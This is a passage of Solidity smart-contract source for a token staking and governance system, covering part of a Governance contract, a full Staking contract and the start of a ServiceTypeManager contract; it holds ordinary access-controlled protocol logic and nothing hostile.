function setMaxInProgressProposals(uint16 _newMaxInProgressProposals) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(
_newMaxInProgressProposals > 0,
"Governance: Requires non-zero _newMaxInProgressProposals"
);
maxInProgressProposals = _newMaxInProgressProposals;
emit MaxInProgressProposalsUpdated(_newMaxInProgressProposals);
}
/**
* @notice Set the execution delay for a proposal
* @dev Only callable by self via _executeTransaction
* @param _newExecutionDelay - new value for executionDelay
*/
function setExecutionDelay(uint256 _newExecutionDelay) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
// executionDelay does not have to be non-zero
executionDelay = _newExecutionDelay;
emit ExecutionDelayUpdated(_newExecutionDelay);
}
// ========================================= Guardian Actions =========================================
/**
* @notice Allows the guardianAddress to execute protocol actions
* @param _targetContractRegistryKey - key in registry of target contract
* @param _callValue - amount of wei if a token transfer is involved
* @param _functionSignature - function signature of the function to be executed if proposal is successful
* @param _callData - encoded value(s) to call function with if proposal is successful
*/
function guardianExecuteTransaction(
bytes32 _targetContractRegistryKey,
uint256 _callValue,
string calldata _functionSignature,
bytes calldata _callData
) external
{
_requireIsInitialized();
require(
msg.sender == guardianAddress,
"Governance: Only guardian."
);
// _targetContractRegistryKey must point to a valid registered contract
address targetContractAddress = registry.getContract(_targetContractRegistryKey);
require(
targetContractAddress != address(0x00),
"Governance: _targetContractRegistryKey must point to valid registered contract"
);
// Signature cannot be empty
require(
bytes(_functionSignature).length != 0,
"Governance: _functionSignature cannot be empty."
);
(bool success, bytes memory returnData) = _executeTransaction(
targetContractAddress,
_callValue,
_functionSignature,
_callData
);
require(success, "Governance: Transaction failed.");
emit GuardianTransactionExecuted(
targetContractAddress,
_callValue,
_functionSignature,
_callData,
returnData
);
}
/**
* @notice Change the guardian address
* @dev Only callable by current guardian
* @param _newGuardianAddress - new guardian address
*/
function transferGuardianship(address _newGuardianAddress) external {
_requireIsInitialized();
require(
msg.sender == guardianAddress,
"Governance: Only guardian."
);
guardianAddress = _newGuardianAddress;
emit GuardianshipTransferred(_newGuardianAddress);
}
// ========================================= Getter Functions =========================================
/**
* @notice Get proposal information by proposal Id
* @param _proposalId - id of proposal
*/
function getProposalById(uint256 _proposalId)
external view returns (
uint256 proposalId,
address proposer,
uint256 submissionBlockNumber,
bytes32 targetContractRegistryKey,
address targetContractAddress,
uint256 callValue,
string memory functionSignature,
bytes memory callData,
Outcome outcome,
uint256 voteMagnitudeYes,
uint256 voteMagnitudeNo,
uint256 numVotes
)
{
_requireIsInitialized();
_requireValidProposalId(_proposalId);
Proposal memory proposal = proposals[_proposalId];
return (
proposal.proposalId,
proposal.proposer,
proposal.submissionBlockNumber,
proposal.targetContractRegistryKey,
proposal.targetContractAddress,
proposal.callValue,
proposal.functionSignature,
proposal.callData,
proposal.outcome,
proposal.voteMagnitudeYes,
proposal.voteMagnitudeNo,
proposal.numVotes
/** @notice - votes mapping cannot be returned by external function */
/** @notice - voteMagnitudes mapping cannot be returned by external function */
/** @notice - returning contractHash leads to stack too deep compiler error, see getProposalTargetContractHash() */
);
}
/**
* @notice Get proposal target contract hash by proposalId
* @dev This is a separate function because the getProposalById returns too many
variables already and by adding more, you get the error
`InternalCompilerError: Stack too deep, try using fewer variables`
* @param _proposalId - id of proposal
*/
function getProposalTargetContractHash(uint256 _proposalId)
external view returns (bytes32)
{
_requireIsInitialized();
_requireValidProposalId(_proposalId);
return (proposals[_proposalId].contractHash);
}
/**
* @notice Get vote direction and vote magnitude for a given proposal and voter
* @param _proposalId - id of the proposal
* @param _voter - address of the voter we want to check
* @return returns vote direction and magnitude if valid vote, else default values
*/
function getVoteInfoByProposalAndVoter(uint256 _proposalId, address _voter)
external view returns (Vote vote, uint256 voteMagnitude)
{
_requireIsInitialized();
_requireValidProposalId(_proposalId);
return (
proposals[_proposalId].votes[_voter],
proposals[_proposalId].voteMagnitudes[_voter]
);
}
/// @notice Get the contract Guardian address
function getGuardianAddress() external view returns (address) {
_requireIsInitialized();
return guardianAddress;
}
/// @notice Get the Staking address
function getStakingAddress() external view returns (address) {
_requireIsInitialized();
return stakingAddress;
}
/// @notice Get the ServiceProviderFactory address
function getServiceProviderFactoryAddress() external view returns (address) {
_requireIsInitialized();
return serviceProviderFactoryAddress;
}
/// @notice Get the DelegateManager address
function getDelegateManagerAddress() external view returns (address) {
_requireIsInitialized();
return delegateManagerAddress;
}
/// @notice Get the contract voting period
function getVotingPeriod() external view returns (uint256) {
_requireIsInitialized();
return votingPeriod;
}
/// @notice Get the contract voting quorum percent
function getVotingQuorumPercent() external view returns (uint256) {
_requireIsInitialized();
return votingQuorumPercent;
}
/// @notice Get the registry address
function getRegistryAddress() external view returns (address) {
_requireIsInitialized();
return address(registry);
}
/// @notice Used to check if is governance contract before setting governance address in other contracts
function isGovernanceAddress() external pure returns (bool) {
return true;
}
/// @notice Get the max number of concurrent InProgress proposals
function getMaxInProgressProposals() external view returns (uint16) {
_requireIsInitialized();
return maxInProgressProposals;
}
/// @notice Get the proposal execution delay
function getExecutionDelay() external view returns (uint256) {
_requireIsInitialized();
return executionDelay;
}
/// @notice Get the array of all InProgress proposal Ids
function getInProgressProposals() external view returns (uint256[] memory) {
_requireIsInitialized();
return inProgressProposals;
}
/**
* @notice Returns false if any proposals in inProgressProposals array are evaluatable
* Evaluatable = proposals with closed votingPeriod
* @dev Is public since its called internally in `submitProposal()` as well as externally in UI
*/
function inProgressProposalsAreUpToDate() external view returns (bool) {
_requireIsInitialized();
// compare current block number against endBlockNumber of each proposal
for (uint256 i = 0; i < inProgressProposals.length; i++) {
if (
block.number >
(proposals[inProgressProposals[i]].submissionBlockNumber).add(votingPeriod).add(executionDelay)
) {
return false;
}
}
return true;
}
// ========================================= Internal Functions =========================================
/**
* @notice Execute a transaction attached to a governance proposal
* @dev We are aware of both potential re-entrancy issues and the risks associated with low-level solidity
* function calls here, but have chosen to keep this code with those issues in mind. All governance
* proposals go through a voting process, and all will be reviewed carefully to ensure that they
* adhere to the expected behaviors of this call - but adding restrictions here would limit the ability
* of the governance system to do required work in a generic way.
* @param _targetContractAddress - address of registry proxy contract to execute transaction on
* @param _callValue - amount of wei if a token transfer is involved
* @param _functionSignature - function signature of the function to be executed if proposal is successful
* @param _callData - encoded value(s) to call function with if proposal is successful
*/
function _executeTransaction(
address _targetContractAddress,
uint256 _callValue,
string memory _functionSignature,
bytes memory _callData
) internal returns (bool success, bytes memory returnData)
{
bytes memory encodedCallData = abi.encodePacked(
bytes4(keccak256(bytes(_functionSignature))),
_callData
);
(success, returnData) = (
// solium-disable-next-line security/no-call-value
_targetContractAddress.call.value(_callValue)(encodedCallData)
);
return (success, returnData);
}
function _increaseVoteMagnitudeYes(uint256 _proposalId, uint256 _voterStake) internal {
proposals[_proposalId].voteMagnitudeYes = (
proposals[_proposalId].voteMagnitudeYes.add(_voterStake)
);
}
function _increaseVoteMagnitudeNo(uint256 _proposalId, uint256 _voterStake) internal {
proposals[_proposalId].voteMagnitudeNo = (
proposals[_proposalId].voteMagnitudeNo.add(_voterStake)
);
}
function _decreaseVoteMagnitudeYes(uint256 _proposalId, uint256 _voterStake) internal {
proposals[_proposalId].voteMagnitudeYes = (
proposals[_proposalId].voteMagnitudeYes.sub(_voterStake)
);
}
function _decreaseVoteMagnitudeNo(uint256 _proposalId, uint256 _voterStake) internal {
proposals[_proposalId].voteMagnitudeNo = (
proposals[_proposalId].voteMagnitudeNo.sub(_voterStake)
);
}
/**
* @dev Can make O(1) by storing index pointer in proposals mapping.
* Requires inProgressProposals to be 1-indexed, since all proposals that are not present
* will have pointer set to 0.
*/
function _removeFromInProgressProposals(uint256 _proposalId) internal {
uint256 index = 0;
for (uint256 i = 0; i < inProgressProposals.length; i++) {
if (inProgressProposals[i] == _proposalId) {
index = i;
break;
}
}
// Swap proposalId to end of array + pop (deletes last elem + decrements array length)
inProgressProposals[index] = inProgressProposals[inProgressProposals.length - 1];
inProgressProposals.pop();
}
/**
* @notice Returns true if voting quorum percentage met for proposal, else false.
* @dev Quorum is met if total voteMagnitude * 100 / total active stake in Staking
* @dev Eventual multiplication overflow:
* (proposal.voteMagnitudeYes + proposal.voteMagnitudeNo), with 100% staking participation,
* can sum to at most the entire token supply of 10^27
* With 7% annual token supply inflation, multiplication can overflow ~1635 years at the earliest:
* log(2^256/(10^27*100))/log(1.07) ~= 1635
*
* @dev Note that quorum is evaluated based on total staked at proposal submission
* not total staked at proposal evaluation, this is expected behavior
*/
function _quorumMet(Proposal memory proposal, Staking stakingContract)
internal view returns (bool)
{
uint256 participation = (
(proposal.voteMagnitudeYes + proposal.voteMagnitudeNo)
.mul(100)
.div(stakingContract.totalStakedAt(proposal.submissionBlockNumber))
);
return participation >= votingQuorumPercent;
}
// ========================================= Private Functions =========================================
function _requireStakingAddressIsSet() private view {
require(
stakingAddress != address(0x00),
"Governance: stakingAddress is not set"
);
}
function _requireServiceProviderFactoryAddressIsSet() private view {
require(
serviceProviderFactoryAddress != address(0x00),
"Governance: serviceProviderFactoryAddress is not set"
);
}
function _requireDelegateManagerAddressIsSet() private view {
require(
delegateManagerAddress != address(0x00),
"Governance: delegateManagerAddress is not set"
);
}
function _requireValidProposalId(uint256 _proposalId) private view {
require(
_proposalId <= lastProposalId && _proposalId > 0,
"Governance: Must provide valid non-zero _proposalId"
);
}
/**
* Calculates and returns active stake for address
*
* Active stake = (active deployer stake + active delegator stake)
* active deployer stake = (direct deployer stake - locked deployer stake)
* locked deployer stake = amount of pending decreaseStakeRequest for address
* active delegator stake = (total delegator stake - locked delegator stake)
* locked delegator stake = amount of pending undelegateRequest for address
*/
function _calculateAddressActiveStake(address _address) private view returns (uint256) {
ServiceProviderFactory spFactory = ServiceProviderFactory(serviceProviderFactoryAddress);
DelegateManagerV2 delegateManager = DelegateManagerV2(delegateManagerAddress);
// Amount directly staked by address, if any, in ServiceProviderFactory
(uint256 directDeployerStake,,,,,) = spFactory.getServiceProviderDetails(_address);
// Amount of pending decreasedStakeRequest for address, if any, in ServiceProviderFactory
(uint256 lockedDeployerStake,) = spFactory.getPendingDecreaseStakeRequest(_address);
// active deployer stake = (direct deployer stake - locked deployer stake)
uint256 activeDeployerStake = directDeployerStake.sub(lockedDeployerStake);
// Total amount delegated by address, if any, in DelegateManager
uint256 totalDelegatorStake = delegateManager.getTotalDelegatorStake(_address);
// Amount of pending undelegateRequest for address, if any, in DelegateManager
(,uint256 lockedDelegatorStake, ) = delegateManager.getPendingUndelegateRequest(_address);
// active delegator stake = (total delegator stake - locked delegator stake)
uint256 activeDelegatorStake = totalDelegatorStake.sub(lockedDelegatorStake);
// activeStake = (activeDeployerStake + activeDelegatorStake)
uint256 activeStake = activeDeployerStake.add(activeDelegatorStake);
return activeStake;
}
// solium-disable security/no-inline-assembly
/**
* @notice Helper function to generate the code hash for a contract address
* @return contract code hash
*/
function _getCodeHash(address _contract) private view returns (bytes32) {
bytes32 contractHash;
assembly {
contractHash := extcodehash(_contract)
}
return contractHash;
}
}
// File: contracts/Staking.sol
pragma solidity ^0.5.0;
contract Staking is InitializableV2 {
using SafeMath for uint256;
using Uint256Helpers for uint256;
using Checkpointing for Checkpointing.History;
using SafeERC20 for ERC20;
string private constant ERROR_TOKEN_NOT_CONTRACT = "Staking: Staking token is not a contract";
string private constant ERROR_AMOUNT_ZERO = "Staking: Zero amount not allowed";
string private constant ERROR_ONLY_GOVERNANCE = "Staking: Only governance";
string private constant ERROR_ONLY_DELEGATE_MANAGER = (
"Staking: Only callable from DelegateManager"
);
string private constant ERROR_ONLY_SERVICE_PROVIDER_FACTORY = (
"Staking: Only callable from ServiceProviderFactory"
);
address private governanceAddress;
address private claimsManagerAddress;
address private delegateManagerAddress;
address private serviceProviderFactoryAddress;
/// @dev stores the history of staking and claims for a given address
struct Account {
Checkpointing.History stakedHistory;
Checkpointing.History claimHistory;
}
/// @dev ERC-20 token that will be used to stake with
ERC20 internal stakingToken;
/// @dev maps addresses to staking and claims history
mapping (address => Account) internal accounts;
/// @dev total staked tokens at a given block
Checkpointing.History internal totalStakedHistory;
event Staked(address indexed user, uint256 amount, uint256 total);
event Unstaked(address indexed user, uint256 amount, uint256 total);
event Slashed(address indexed user, uint256 amount, uint256 total);
/**
* @notice Function to initialize the contract
* @dev claimsManagerAddress must be initialized separately after ClaimsManager contract is deployed
* @dev delegateManagerAddress must be initialized separately after DelegateManager contract is deployed
* @dev serviceProviderFactoryAddress must be initialized separately after ServiceProviderFactory contract is deployed
* @param _tokenAddress - address of ERC20 token that will be staked
* @param _governanceAddress - address for Governance proxy contract
*/
function initialize(
address _tokenAddress,
address _governanceAddress
) public initializer
{
require(Address.isContract(_tokenAddress), ERROR_TOKEN_NOT_CONTRACT);
stakingToken = ERC20(_tokenAddress);
_updateGovernanceAddress(_governanceAddress);
InitializableV2.initialize();
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
}
/**
* @notice Set the ClaimsManaager address
* @dev Only callable by Governance address
* @param _claimsManager - address for new ClaimsManaager contract
*/
function setClaimsManagerAddress(address _claimsManager) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
claimsManagerAddress = _claimsManager;
}
/**
* @notice Set the ServiceProviderFactory address
* @dev Only callable by Governance address
* @param _spFactory - address for new ServiceProviderFactory contract
*/
function setServiceProviderFactoryAddress(address _spFactory) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
serviceProviderFactoryAddress = _spFactory;
}
/**
* @notice Set the DelegateManager address
* @dev Only callable by Governance address
* @param _delegateManager - address for new DelegateManager contract
*/
function setDelegateManagerAddress(address _delegateManager) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
delegateManagerAddress = _delegateManager;
}
/* External functions */
/**
* @notice Funds `_amount` of tokens from ClaimsManager to target account
* @param _amount - amount of rewards to add to stake
* @param _stakerAccount - address of staker
*/
function stakeRewards(uint256 _amount, address _stakerAccount) external {
_requireIsInitialized();
_requireClaimsManagerAddressIsSet();
require(
msg.sender == claimsManagerAddress,
"Staking: Only callable from ClaimsManager"
);
_stakeFor(_stakerAccount, msg.sender, _amount);
this.updateClaimHistory(_amount, _stakerAccount);
}
/**
* @notice Update claim history by adding an event to the claim history
* @param _amount - amount to add to claim history
* @param _stakerAccount - address of staker
*/
function updateClaimHistory(uint256 _amount, address _stakerAccount) external {
_requireIsInitialized();
_requireClaimsManagerAddressIsSet();
require(
msg.sender == claimsManagerAddress || msg.sender == address(this),
"Staking: Only callable from ClaimsManager or Staking.sol"
);
// Update claim history even if no value claimed
accounts[_stakerAccount].claimHistory.add(block.number.toUint64(), _amount);
}
/**
* @notice Slashes `_amount` tokens from _slashAddress
* @dev Callable from DelegateManager
* @param _amount - Number of tokens slashed
* @param _slashAddress - Address being slashed
*/
function slash(
uint256 _amount,
address _slashAddress
) external
{
_requireIsInitialized();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == delegateManagerAddress,
ERROR_ONLY_DELEGATE_MANAGER
);
// Burn slashed tokens from account
_burnFor(_slashAddress, _amount);
emit Slashed(
_slashAddress,
_amount,
totalStakedFor(_slashAddress)
);
}
/**
* @notice Stakes `_amount` tokens, transferring them from _accountAddress, and assigns them to `_accountAddress`
* @param _accountAddress - The final staker of the tokens
* @param _amount - Number of tokens staked
*/
function stakeFor(
address _accountAddress,
uint256 _amount
) external
{
_requireIsInitialized();
_requireServiceProviderFactoryAddressIsSet();
require(
msg.sender == serviceProviderFactoryAddress,
ERROR_ONLY_SERVICE_PROVIDER_FACTORY
);
_stakeFor(
_accountAddress,
_accountAddress,
_amount
);
}
/**
* @notice Unstakes `_amount` tokens, returning them to the desired account.
* @param _accountAddress - Account unstaked for, and token recipient
* @param _amount - Number of tokens staked
*/
function unstakeFor(
address _accountAddress,
uint256 _amount
) external
{
_requireIsInitialized();
_requireServiceProviderFactoryAddressIsSet();
require(
msg.sender == serviceProviderFactoryAddress,
ERROR_ONLY_SERVICE_PROVIDER_FACTORY
);
_unstakeFor(
_accountAddress,
_accountAddress,
_amount
);
}
/**
* @notice Stakes `_amount` tokens, transferring them from `_delegatorAddress` to `_accountAddress`,
only callable by DelegateManager
* @param _accountAddress - The final staker of the tokens
* @param _delegatorAddress - Address from which to transfer tokens
* @param _amount - Number of tokens staked
*/
function delegateStakeFor(
address _accountAddress,
address _delegatorAddress,
uint256 _amount
) external {
_requireIsInitialized();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == delegateManagerAddress,
ERROR_ONLY_DELEGATE_MANAGER
);
_stakeFor(
_accountAddress,
_delegatorAddress,
_amount);
}
/**
* @notice Unstakes '_amount` tokens, transferring them from `_accountAddress` to `_delegatorAddress`,
only callable by DelegateManager
* @param _accountAddress - The staker of the tokens
* @param _delegatorAddress - Address from which to transfer tokens
* @param _amount - Number of tokens unstaked
*/
function undelegateStakeFor(
address _accountAddress,
address _delegatorAddress,
uint256 _amount
) external {
_requireIsInitialized();
_requireDelegateManagerAddressIsSet();
require(
msg.sender == delegateManagerAddress,
ERROR_ONLY_DELEGATE_MANAGER
);
_unstakeFor(
_accountAddress,
_delegatorAddress,
_amount);
}
/**
* @notice Get the token used by the contract for staking and locking
* @return The token used by the contract for staking and locking
*/
function token() external view returns (address) {
_requireIsInitialized();
return address(stakingToken);
}
/**
* @notice Check whether it supports history of stakes
* @return Always true
*/
function supportsHistory() external view returns (bool) {
_requireIsInitialized();
return true;
}
/**
* @notice Get last time `_accountAddress` modified its staked balance
* @param _accountAddress - Account requesting for
* @return Last block number when account's balance was modified
*/
function lastStakedFor(address _accountAddress) external view returns (uint256) {
_requireIsInitialized();
uint256 length = accounts[_accountAddress].stakedHistory.history.length;
if (length > 0) {
return uint256(accounts[_accountAddress].stakedHistory.history[length - 1].time);
}
return 0;
}
/**
* @notice Get last time `_accountAddress` claimed a staking reward
* @param _accountAddress - Account requesting for
* @return Last block number when claim requested
*/
function lastClaimedFor(address _accountAddress) external view returns (uint256) {
_requireIsInitialized();
uint256 length = accounts[_accountAddress].claimHistory.history.length;
if (length > 0) {
return uint256(accounts[_accountAddress].claimHistory.history[length - 1].time);
}
return 0;
}
/**
* @notice Get the total amount of tokens staked by `_accountAddress` at block number `_blockNumber`
* @param _accountAddress - Account requesting for
* @param _blockNumber - Block number at which we are requesting
* @return The amount of tokens staked by the account at the given block number
*/
function totalStakedForAt(
address _accountAddress,
uint256 _blockNumber
) external view returns (uint256) {
_requireIsInitialized();
return accounts[_accountAddress].stakedHistory.get(_blockNumber.toUint64());
}
/**
* @notice Get the total amount of tokens staked by all users at block number `_blockNumber`
* @param _blockNumber - Block number at which we are requesting
* @return The amount of tokens staked at the given block number
*/
function totalStakedAt(uint256 _blockNumber) external view returns (uint256) {
_requireIsInitialized();
return totalStakedHistory.get(_blockNumber.toUint64());
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/// @notice Get the ClaimsManager address
function getClaimsManagerAddress() external view returns (address) {
_requireIsInitialized();
return claimsManagerAddress;
}
/// @notice Get the ServiceProviderFactory address
function getServiceProviderFactoryAddress() external view returns (address) {
_requireIsInitialized();
return serviceProviderFactoryAddress;
}
/// @notice Get the DelegateManager address
function getDelegateManagerAddress() external view returns (address) {
_requireIsInitialized();
return delegateManagerAddress;
}
/**
* @notice Helper function wrapped around totalStakedFor. Checks whether _accountAddress
is currently a valid staker with a non-zero stake
* @param _accountAddress - Account requesting for
* @return Boolean indicating whether account is a staker
*/
function isStaker(address _accountAddress) external view returns (bool) {
_requireIsInitialized();
return totalStakedFor(_accountAddress) > 0;
}
/* Public functions */
/**
* @notice Get the amount of tokens staked by `_accountAddress`
* @param _accountAddress - The owner of the tokens
* @return The amount of tokens staked by the given account
*/
function totalStakedFor(address _accountAddress) public view returns (uint256) {
_requireIsInitialized();
// we assume it's not possible to stake in the future
return accounts[_accountAddress].stakedHistory.getLast();
}
/**
* @notice Get the total amount of tokens staked by all users
* @return The total amount of tokens staked by all users
*/
function totalStaked() public view returns (uint256) {
_requireIsInitialized();
// we assume it's not possible to stake in the future
return totalStakedHistory.getLast();
}
// ========================================= Internal Functions =========================================
/**
* @notice Adds stake from a transfer account to the stake account
* @param _stakeAccount - Account that funds will be staked for
* @param _transferAccount - Account that funds will be transferred from
* @param _amount - amount to stake
*/
function _stakeFor(
address _stakeAccount,
address _transferAccount,
uint256 _amount
) internal
{
// staking 0 tokens is invalid
require(_amount > 0, ERROR_AMOUNT_ZERO);
// Checkpoint updated staking balance
_modifyStakeBalance(_stakeAccount, _amount, true);
// checkpoint total supply
_modifyTotalStaked(_amount, true);
// pull tokens into Staking contract
stakingToken.safeTransferFrom(_transferAccount, address(this), _amount);
emit Staked(
_stakeAccount,
_amount,
totalStakedFor(_stakeAccount));
}
/**
* @notice Unstakes tokens from a stake account to a transfer account
* @param _stakeAccount - Account that staked funds will be transferred from
* @param _transferAccount - Account that funds will be transferred to
* @param _amount - amount to unstake
*/
function _unstakeFor(
address _stakeAccount,
address _transferAccount,
uint256 _amount
) internal
{
require(_amount > 0, ERROR_AMOUNT_ZERO);
// checkpoint updated staking balance
_modifyStakeBalance(_stakeAccount, _amount, false);
// checkpoint total supply
_modifyTotalStaked(_amount, false);
// transfer tokens
stakingToken.safeTransfer(_transferAccount, _amount);
emit Unstaked(
_stakeAccount,
_amount,
totalStakedFor(_stakeAccount)
);
}
/**
* @notice Burn tokens for a given staker
* @dev Called when slash occurs
* @param _stakeAccount - Account for which funds will be burned
* @param _amount - amount to burn
*/
function _burnFor(address _stakeAccount, uint256 _amount) internal {
// burning zero tokens is not allowed
require(_amount > 0, ERROR_AMOUNT_ZERO);
// checkpoint updated staking balance
_modifyStakeBalance(_stakeAccount, _amount, false);
// checkpoint total supply
_modifyTotalStaked(_amount, false);
// burn
ERC20Burnable(address(stakingToken)).burn(_amount);
/** No event emitted since token.burn() call already emits a Transfer event */
}
/**
* @notice Increase or decrease the staked balance for an account
* @param _accountAddress - Account to modify
* @param _by - amount to modify
* @param _increase - true if increase in stake, false if decrease
*/
function _modifyStakeBalance(address _accountAddress, uint256 _by, bool _increase) internal {
uint256 currentInternalStake = accounts[_accountAddress].stakedHistory.getLast();
uint256 newStake;
if (_increase) {
newStake = currentInternalStake.add(_by);
} else {
require(
currentInternalStake >= _by,
"Staking: Cannot decrease greater than current balance");
newStake = currentInternalStake.sub(_by);
}
// add new value to account history
accounts[_accountAddress].stakedHistory.add(block.number.toUint64(), newStake);
}
/**
* @notice Increase or decrease the staked balance across all accounts
* @param _by - amount to modify
* @param _increase - true if increase in stake, false if decrease
*/
function _modifyTotalStaked(uint256 _by, bool _increase) internal {
uint256 currentStake = totalStaked();
uint256 newStake;
if (_increase) {
newStake = currentStake.add(_by);
} else {
newStake = currentStake.sub(_by);
}
// add new value to total history
totalStakedHistory.add(block.number.toUint64(), newStake);
}
/**
* @notice Set the governance address after confirming contract identity
* @param _governanceAddress - Incoming governance address
*/
function _updateGovernanceAddress(address _governanceAddress) internal {
require(
Governance(_governanceAddress).isGovernanceAddress() == true,
"Staking: _governanceAddress is not a valid governance contract"
);
governanceAddress = _governanceAddress;
}
// ========================================= Private Functions =========================================
function _requireClaimsManagerAddressIsSet() private view {
require(claimsManagerAddress != address(0x00), "Staking: claimsManagerAddress is not set");
}
function _requireDelegateManagerAddressIsSet() private view {
require(
delegateManagerAddress != address(0x00),
"Staking: delegateManagerAddress is not set"
);
}
function _requireServiceProviderFactoryAddressIsSet() private view {
require(
serviceProviderFactoryAddress != address(0x00),
"Staking: serviceProviderFactoryAddress is not set"
);
}
}
// File: contracts/ServiceTypeManager.sol
pragma solidity ^0.5.0;
contract ServiceTypeManager is InitializableV2 {
address governanceAddress;
string private constant ERROR_ONLY_GOVERNANCE = (
"ServiceTypeManager: Only callable by Governance contract"
);
/**
* @dev - mapping of serviceType - serviceTypeVersion
* Example - "discovery-provider" - ["0.0.1", "0.0.2", ..., "currentVersion"]
*/
mapping(bytes32 => bytes32[]) private serviceTypeVersions;
/**
* @dev - mapping of serviceType - < serviceTypeVersion, isValid >
* Example - "discovery-provider" - <"0.0.1", true>
*/
mapping(bytes32 => mapping(bytes32 => bool)) private serviceTypeVersionInfo;
/// @dev List of valid service types
bytes32[] private validServiceTypes;
/// @dev Struct representing service type info
struct ServiceTypeInfo {
bool isValid;
uint256 minStake;
uint256 maxStake;
}
/// @dev mapping of service type info
mapping(bytes32 => ServiceTypeInfo) private serviceTypeInfo;
event SetServiceVersion(
bytes32 indexed _serviceType,
bytes32 indexed _serviceVersion
);
event ServiceTypeAdded(
bytes32 indexed _serviceType,
uint256 indexed _serviceTypeMin,
uint256 indexed _serviceTypeMax
);
event ServiceTypeRemoved(bytes32 indexed _serviceType);
/**
* @notice Function to initialize the contract
* @param _governanceAddress - Governance proxy address
*/
function initialize(address _governanceAddress) public initializer
{
_updateGovernanceAddress(_governanceAddress);
InitializableV2.initialize();
}
/// @notice Get the Governance address
function getGovernanceAddress() external view returns (address) {
_requireIsInitialized();
return governanceAddress;
}
/**
* @notice Set the Governance address
* @dev Only callable by Governance address
* @param _governanceAddress - address for new Governance contract
*/
function setGovernanceAddress(address _governanceAddress) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
_updateGovernanceAddress(_governanceAddress);
}
// ========================================= Service Type Logic =========================================
/**
* @notice Add a new service type
* @param _serviceType - type of service to add
* @param _serviceTypeMin - minimum stake for service type
* @param _serviceTypeMax - maximum stake for service type
*/
function addServiceType(
bytes32 _serviceType,
uint256 _serviceTypeMin,
uint256 _serviceTypeMax
) external
{
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
require(
!this.serviceTypeIsValid(_serviceType),
"ServiceTypeManager: Already known service type"
);
require(
_serviceTypeMax > _serviceTypeMin,
"ServiceTypeManager: Max stake must be non-zero and greater than min stake"
);
// Ensure serviceType cannot be re-added if it previously existed and was removed
// stored maxStake > 0 means it was previously added and removed
require(
serviceTypeInfo[_serviceType].maxStake == 0,
"ServiceTypeManager: Cannot re-add serviceType after it was removed."
);
validServiceTypes.push(_serviceType);
serviceTypeInfo[_serviceType] = ServiceTypeInfo({
isValid: true,
minStake: _serviceTypeMin,
maxStake: _serviceTypeMax
});
emit ServiceTypeAdded(_serviceType, _serviceTypeMin, _serviceTypeMax);
}
/**
* @notice Remove an existing service type
* @param _serviceType - name of service type to remove
*/
function removeServiceType(bytes32 _serviceType) external {
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
uint256 serviceIndex = 0;
bool foundService = false;
for (uint256 i = 0; i < validServiceTypes.length; i ++) {
if (validServiceTypes[i] == _serviceType) {
serviceIndex = i;
foundService = true;
break;
}
}
require(foundService == true, "ServiceTypeManager: Invalid service type, not found");
// Overwrite service index
uint256 lastIndex = validServiceTypes.length - 1;
validServiceTypes[serviceIndex] = validServiceTypes[lastIndex];
validServiceTypes.length--;
// Mark as invalid
serviceTypeInfo[_serviceType].isValid = false;
// Note - stake bounds are not reset so they can be checked to prevent serviceType from being re-added
emit ServiceTypeRemoved(_serviceType);
}
/**
* @notice Get isValid, min and max stake for a given service type
* @param _serviceType - type of service
* @return isValid, min and max stake for type
*/
function getServiceTypeInfo(bytes32 _serviceType)
external view returns (bool isValid, uint256 minStake, uint256 maxStake)
{
_requireIsInitialized();
return (
serviceTypeInfo[_serviceType].isValid,
serviceTypeInfo[_serviceType].minStake,
serviceTypeInfo[_serviceType].maxStake
);
}
/**
* @notice Get list of valid service types
*/
function getValidServiceTypes()
external view returns (bytes32[] memory)
{
_requireIsInitialized();
return validServiceTypes;
}
/**
* @notice Return indicating whether this is a valid service type
*/
function serviceTypeIsValid(bytes32 _serviceType)
external view returns (bool)
{
_requireIsInitialized();
return serviceTypeInfo[_serviceType].isValid;
}
// ========================================= Service Version Logic =========================================
/**
* @notice Add new version for a serviceType
* @param _serviceType - type of service
* @param _serviceVersion - new version of service to add
*/
function setServiceVersion(
bytes32 _serviceType,
bytes32 _serviceVersion
) external
{
_requireIsInitialized();
require(msg.sender == governanceAddress, ERROR_ONLY_GOVERNANCE);
require(this.serviceTypeIsValid(_serviceType), "ServiceTypeManager: Invalid service type");
require(
serviceTypeVersionInfo[_serviceType][_serviceVersion] == false,
"ServiceTypeManager: Already registered"
);
// Update array of known versions for type
serviceTypeVersions[_serviceType].push(_serviceVersion);
// Update status for this specific service version
serviceTypeVersionInfo[_serviceType][_serviceVersion] = true;
emit SetServiceVersion(_serviceType, _serviceVersion);
}
/**
* @notice Get a version for a service type given it's index
* @param _serviceType - type of service
* @param _versionIndex - index in list of service versions
* @return bytes32 value for serviceVersion
*/
function getVersion(bytes32 _serviceType, uint256 _versionIndex)
external view returns (bytes32)
{
_requireIsInitialized();
require(
serviceTypeVersions[_serviceType].length > _versionIndex,
"ServiceTypeManager: No registered version of serviceType"
);
return (serviceTypeVersions[_serviceType][_versionIndex]);
}
/**
* @notice Get curent version for a service type
* @param _serviceType - type of service
* @return Returns current version of service
*/
function getCurrentVersion(bytes32 _serviceType)
external view returns (bytes32)
{
_requireIsInitialized();
require(
serviceTypeVersions[_serviceType].length >= 1,
"ServiceTypeManager: No registered version of serviceType"
);
uint256 latestVersionIndex = serviceTypeVersions[_serviceType].length - 1;
return (serviceTypeVersions[_serviceType][latestVersionIndex]);
}
/**
